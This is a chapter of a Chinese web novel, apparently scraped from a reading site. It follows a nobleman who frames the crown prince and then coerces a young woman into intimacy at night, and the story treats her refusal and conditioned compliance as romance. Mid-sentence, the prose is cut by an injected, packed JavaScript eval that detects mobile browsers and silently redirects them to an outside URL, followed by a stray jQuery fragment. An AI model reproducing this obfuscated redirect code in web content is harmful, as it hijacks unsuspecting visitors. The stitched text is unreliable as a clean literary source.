14. 014
作品:《禁欢》 深夜,霍挚从绾筠处出来,站在雕霞园门口许久,马维匆匆而来。
“爷,太子私铸兵械的罪状已全部安排妥当,只待您一声吩咐。”
昏暗中,霍挚神色莫测,他抬眸看夜空,群星稀疏,映衬着他眸子如深渊噬人。
他只淡声问,“三皇子那边如何?”
“三皇子的手下还在郊外搜寻。”
霍挚微眯眼,这时,不远处却传来声响,有鬼祟行动和小心提醒。
“少爷,这么晚了,去不合适。”
“什么合不合适,又不是没做过。”
“可是少爷,国公爷在京呢,若是被知晓,您定会被惩罚的。您若是真得喜欢,不若白日去找侍郎讨要。”
“讨要什么,你瞧着二叔那抠门模样,再说,讨到身边又有什么乐趣。”
“可是……”
提醒者还想再说什么,话语却忽然熄了声,戎恒佑的动作也倏然僵在原地。
有人站在了他们面前,悄无声息的,又或者说他满心都是屋子里的美人儿,根本没注意深夜还能碰见他畏惧的人。
戎恒佑本鬼祟着,身子微屈,于是第一眼便瞧见那玄黑锦袍,锦袍上的暗纹内敛着极具压迫的威慑,他不用抬头也知撞见的是谁,霎那间就扑通跪地,身旁小厮早就伏在地上。
“二弟。”霍挚冷淡出声。
戎恒佑这才小心抬头,仰看着高如在夜空之上的霍挚,话语都颤抖着,强撑着,“好……好巧,大哥怎得在这里,也是睡不着,出来散散心吗?”
“散心?”霍挚冰冷重复他的借口,不再看戎恒佑,“昨夜二弟和太子喝得畅快,可还记得说了什么。”
戎恒佑头皮发麻,他只模糊的记得,他好似激动地同戎侍郎一起嚷嚷着立场,说什么“太子殿下是正统出生,是嫡子……”“戎国公府誓死拥立太子殿下……”
霎那间想起那些胡言,只觉如坠冰窖。
马维在旁怪话,“二少爷糊涂,连侍郎都藏着话,只您什么都敢说。”
戎恒佑畏惧地瘫软,“大哥,大哥我错了,大哥救我。”
“去祠堂请家法,思过七日。为兄会帮你告病。”
霍挚目光冷冷飘下,毫不留情离去。
戎恒佑不敢承受那皮开肉绽的家法,连起身都忘了,跪爬想抓霍挚衣摆求饶,却抓了空。
阴影里,出来两个暗卫,一左一右扣住他,捂住他的嘴,将他押离。
*
绾筠翌日迷糊醒来,察觉睡在床榻上,有片刻的发蒙,恍惚好像回到别院,那时候有些日子里霍挚不在,她睡不着,深夜倚在长椅上看书打发时辰,不知不觉睡着后,第二夜便会从床榻上起来,起初她还以为自己睡迷糊断了片,后来才知道霍挚深夜回来过,只是清晨又离开了。
下意识的,绾筠触了触身侧的位置,连睡过的折痕都没有,跟别提温度了。
绾筠不知是松了一口气,还是心斥自己一声魔怔,这明明是戎国公府。
“姑娘,您这么早就醒了。”薄帘外茉秀的声音传来,“辰时还没到,不再睡回吗?”
绾筠撑起身子,脚尖点地,许是被褥厚实,一觉睡醒,脚面暖洋洋的舒服。
她半撩起薄帘,稍稍环看了一圈,除了茉秀并无他人。
茉秀靠近,“姑娘在看什么?”
见茉秀清澈迷茫模样,想来茉秀也才睡醒,绾筠摇摇头,只觉得疑心重了。
绾筠又画了一日,这一日无人来打扰,难得的安静。
头面图样在傍晚彻底完成,茉秀瞧一眼,惊为天人,直说这是她有生以来见过最活灵活现、最贵重华美的头面,说得绾筠生出几分羞意,连连阻止了她漫天的夸赞。
“你且收好,明日我们便呈给夫人看。”
茉秀一边收拾一边道,“夫人肯定看不得姑娘画得好,要是能直接呈给老夫人看,姑娘绝不会白画的。”
绾筠淡淡笑着,并没有太强想要人前呈现的想法。
收拾好,绾筠让茉秀回角房休息,这一日安静,加上连两日的囫囵,茉秀便放心回去了。
可是,绾筠躺在床上,却久久未阖眼,她心里揣着事,直到三更天,她开始觉得自己当真多思了,这才闭上眼。
三更天过了一盏茶,有脚步由远及近,推开了房门。
绾筠在黑暗中睁开眼,心跳很快,只听那脚步,她就知道来人是谁。
霍挚。
绾筠甚至没有惊讶,白日她就在疑心昨夜霍挚来过。
前几日的照面,让绾筠此刻不敢轻举妄动,她再次闭上眼,努力调整呼吸,装作熟睡的模样。
霍挚撩开床幔,瞧着侧身躺着的绾筠,些微的月光溜进幔中,印照着她柔嫩的侧颜。
月光勾勒着她的五官,像是她自身由内而外泛出的柔光,以至于她眼睫细微的颤抖使得月光好似有了韵律。
霍挚眼中覆上笑意,却并未揭穿,只坐在床边看着她装睡的睡颜,比醒时少了几分清冷,多了几丝恬静,让看得人仅仅看着便心生欢喜。
不过,霍挚并没有让她蒙混多久,片刻后,他伸手探入被褥,握住了纤足,触碰传递来纤足主人压抑的颤栗,努力克制着挣扎而出的动作。
霍挚并不着急,只是一点一点摩挲着,直至脚面温度上升,那只手从脚面划向脚腕,绾筠身子僵了几分,她试图装作迷糊翻身抽出脚腕,但她才一动作,便被霍挚握紧了脚腕,扣下的力道使得绾筠只得被迫从侧身转成仰身。
他俯身,另一手压在绾筠身子另一侧,瞧着闭眼的绾筠,轻笑着,“还装?”
绾筠眉睫抖动得厉害,不知哪来的勇气,依旧坚持着装睡。
可下一刻,霍挚扣着她的脚腕,拉近她,以至于现在她一侧小腿搭在霍挚肩上,另一侧大腿贴着霍挚身体,火燎的温度好似从霍挚身上从接触处传递而来。
危险极了。
绾筠再也装不下去,挣扎着试图纠正这姿势。
但无用,她挣脱不了霍挚的束缚,反倒因为霍挚的逼近,而被迫展开的更彻底。
“不。”
绾筠睁开眼,颤抖的摇着头,双眸晕着水雾,瞧着近在咫尺的霍挚,哀求道,“有人在的,不要在这里。”
霍挚注视着他,他的笑意并未褪去,但沾了绾筠的抗拒,变得失了温度。
片刻后,笑意也褪了,霍挚反倒直起身。
绾筠趁机撤回小腿,向后缩去。
霍挚只看着,直到绾筠缩在床角,戒备又怀疑的看着他。
绾筠想不明白,霍挚为什么会出现在国公府,是偷溜进来的?
“你……你为何会在这里?”绾筠实在找不到答案。
霍挚却并没有回答她,只问,“是觉得到国公府,就能避开爷了?”
不可否认,绾筠跟继夫人出来,确实也有几分这种想法,但面对霍挚,绾筠不敢承认,只摇头。
霍挚没有揭穿,细细看着她,忽而伸手向绾筠脸颊,绾筠下意识避让,可霍挚一个眼神强硬的止住绾筠动作,就像是别院调教后知后觉的起了作用,绾筠压制着躲避的本能,将脸颊主动凑了上去。
霍挚稍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132247|164407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带笑意,指腹轻抚着绾筠眼下,因着一夜未睡足,稍露的青色在娇嫩白皙的脸上稍露。
“被磋磨了两日。”
绾筠抿着唇,即使今日她折腾刘嬷嬷,某种程度,也是让自己不得安生。
霍挚忽然问,“想离开吗?”
当然想。绾筠想离开国公府,离开侯府,甚至离开金都。
“想去哪?”
霍挚好似给了绾筠选择,但绾筠知道除了侯府,她那也不能去,否则去哪都等同回到了当年的山庄别院,更何况她还有任务,是太子殿下亲自交代的任务。
绾筠忍了许久,“想回沁香园。”
说出之前,绾筠已经准备好霍挚的怒火。
可是,出乎绾筠意料的是,霍挚神色不变,甚至还应了一声。
绾筠不解极了,霍挚的应声好似当真应下此事,可是这是国公府,是继夫人亲自压她在这的,甚至可能打着让她与佑二爷扯上关系的注意,可霍挚却好似能全然不管这些,能让她好生生回侯府,回另一个权贵之地。
以至于,绾筠不知此刻该质问霍挚是在诓她,还是怀疑霍挚究竟是何身份。
“不信?”霍挚只道,“爷何事骗过你?明日,便让你回去,如何?”
绾筠当然知道霍挚的承诺从不轻言,就像在陵城,无数次她觉得霍挚做不到,但他依旧能做到,直到绾筠自己受不住离开。
绾筠张了张嘴,话都咽了回去。
“不过……”可就在这时霍挚却话锋转变,他注视着绾筠,带着笑意,“绾绾,爷帮你脱离磋磨,你总要回报爷什么?”
绾筠下意识地颤抖,这句话犹如当年督察府初见。
绾筠求他救自己,他亦是这句话。
于是,此刻,下意识的,绾筠开口,“不,我不要了,不要了。”
但却被霍挚无情打断,“绾绾,已经立下的约定,便收不回了。”
他稍稍倾身,神色柔和下来,再次伸手抚摸绾筠脸颊,“怕什么呢,爷教过你很多次,让爷高兴,想要什么都可以。绾绾,你是知道的。”
以绾筠的身份,以他们之间的纠葛,绾筠能让霍挚高兴的方式还能出乎什么呢。
绾筠侧头,避开霍挚的视线。
霍挚这时没有再强迫她看着自己,只淡淡道,“绾绾,现在爷让你选择,等明日回侯府了,爷亲自来选。”
绾筠倏得转过脸,她已经不去想为什么霍挚好似能随意初入侯府,她只知道让霍挚亲自选,她必是逃不开一场折磨。
她咬着唇,唇色殷红。
霍挚目光坠了上去。
绾筠压下心中的俱意,缓慢地前靠,直至面对面的距离好似能感受彼此呼吸,她闭上眼,吻上了霍挚的唇。
一触即离,但却再也无法退后。
霍挚的手扣在绾筠后颈,他的唇贴着绾筠唇蹭着,“爷是怎么教你的,忘了吗?”
绾筠当然记得,可是……
绾筠闭上眼,她知道自己无法选择,她再一次吻上,轻含他下唇,缱绻的厮磨,像是撒娇的情人一点一点蹭开对方牙关。
这一刻,她好像满含深情,微阖的眼眸仿若诉说着眷恋,舌尖像是胆小又调皮的猫咪在牙关前一点一点试探,每撩一下都留下难耐的酥痒。
霍挚低眸垂视着,好似无动于衷,好似任由撩拨。
只是再绾筠再一次试探时,再次扣紧绾筠后颈,深吻下去,长驱直入。
时才的缱绻温和只是表象,此刻更像是野兽等得不耐,主动出击,一点不剩的品尝着专属自己的猎物。